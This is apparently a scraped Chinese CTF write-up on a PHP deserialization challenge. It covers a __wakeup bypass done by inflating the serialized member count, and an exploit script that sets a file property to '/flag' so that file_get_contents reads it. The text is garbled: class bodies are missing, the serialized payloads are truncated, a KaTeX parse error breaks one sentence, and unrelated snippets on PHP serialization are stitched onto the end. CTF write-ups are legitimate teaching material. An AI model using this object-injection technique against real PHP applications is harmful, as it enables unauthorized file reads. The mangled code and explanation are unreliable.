原始碼:
<?php
show_source
(__file__);
class
cdutsec1
function
__wakeup()
// hint:聽說你們喜歡繞__wakeup,但是我可聽說官方在php7.0.10之後修復了這個bug
function
__invoke()
function
__tostring()
function
__get
($function
)function
__call($a
,$b)}
class
cdutsec2
}@unserialize
($_get
['payload'])
;
**審計:能拿flag的方式只有cdutsec1中__invoke和__tostring兩個魔術方法,觸發能夠執行file_get_contents($this->file)。所以只要cdutsec1類的file值為』/flag』(當然可能不在當前目錄,視題而定)就能拿到flag了。
兩個魔術方法的觸發條件:
__invoke:當嘗試以呼叫函式的方式呼叫乙個物件時觸發
__tostring:乙個類被當做字串時觸發。用於乙個類被當成字串時應怎樣回應。例如 echo katex parse error: expected group after '_' at position 37: …字串,否則會產生錯誤。 所以_̲_tosring無法觸發。審計…function的值再次序列化即可。
但cdutsec1中在觸發__invoke之前因為反序列化__weakup先觸發並把我們傳入的$file覆蓋,因此我們需要繞過__weakup。利用的漏洞也很簡單,只需要把序列化字串表示類成員數量的數字改大(大於實際數)即可繞過。本例中,改cdutsec2與巢狀的cdutsec1都可以。
解題:
<?php
class
cdutsec1
class
cdutsec2
$tr=
newcdutsec1()
;$tr
->
file
='/flag'
;$sr
=new
cdutsec2()
;$sr
->
function
=$tr
;echo
serialize
($sr
);
執行**得到:o:8:"cdutsec2":1:}
,這裡我們該大類成員數:o:8:"cdutsec2":1:}
即可。
測試payload:
PHP多種序列化 反序列化的方法
序列化是將變數轉換為可儲存或傳輸的字串的過程 反序列化就是在適當的時候把這個字串再轉化成原來的變數使用。這兩個過程結合起來,可以輕鬆地儲存和傳輸資料,使程式更具維護性。1.serialize和unserialize函式 這兩個是序列化和反序列化php中資料的常用函式。序列化陣列 s serializ...
PHP多種序列化 反序列化的方法
1.serialize和unserialize函式 serialize 函式,把複雜的資料型別壓縮到乙個字串中,把變數和它們的值編碼成文字形式,這有利於儲存或傳遞 php 的值,同時不丟失其型別和結構 unserialize 函式對單一的已序列化的變數進行操作,將其轉換回 php 的值 例 stoo...
PHP 幾種 序列化 反序列化的方法
序列化是將變數轉換為可儲存或傳輸的字串的過程 反序列化就是在適當的時候把這個字串再轉化成原來的變數使用。這兩個過程結合起來,可以輕鬆地儲存和傳輸資料,使程式更具維護性。1.serialize和unserialize函式 a array a b banana c coconut 序列化陣列 s ser...